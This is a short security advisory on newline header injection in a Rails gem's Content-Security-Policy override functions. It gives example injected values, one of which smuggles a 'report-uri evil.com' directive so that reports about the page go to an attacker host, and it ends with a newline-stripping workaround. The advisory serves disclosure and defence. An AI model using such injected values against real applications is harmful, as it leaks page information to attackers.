GSD-2020-5216

Vulnerability from gsd - Updated: 2020-01-23 00:00
Details
If user-supplied input was passed into append/override_content_security_policy_directives, a newline could be injected leading to limited header injection. Upon seeing a newline in the header, rails will silently create a new Content-Security-Policy header with the remaining value of the original string. It will continue to create new headers for each newline. e.g. ``` override_content_security_directives(script_src: ['mycdn.com', "\ninjected\n"]) ``` would result in ``` Content-Security-Policy: ... script-src: mycdn.com Content-Security-Policy: injected Content-Security-Policy: rest-of-the-header ``` CSP supports multiple headers and all policies must be satisfied for execution to occur, but a malicious value that reports the current page is fairly trivial: ``` override_content_security_directives(script_src: ["mycdn.com", "\ndefault-src 'none'; report-uri evil.com"]) ``` ``` Content-Security-Policy: ... script-src: mycdn.com Content-Security-Policy: default-src 'none'; report-uri evil.com Content-Security-Policy: rest-of-the-header ``` Workarounds ``` override_content_security_policy_directives(:frame_src, [user_input.gsub("\n", " ")]) ```
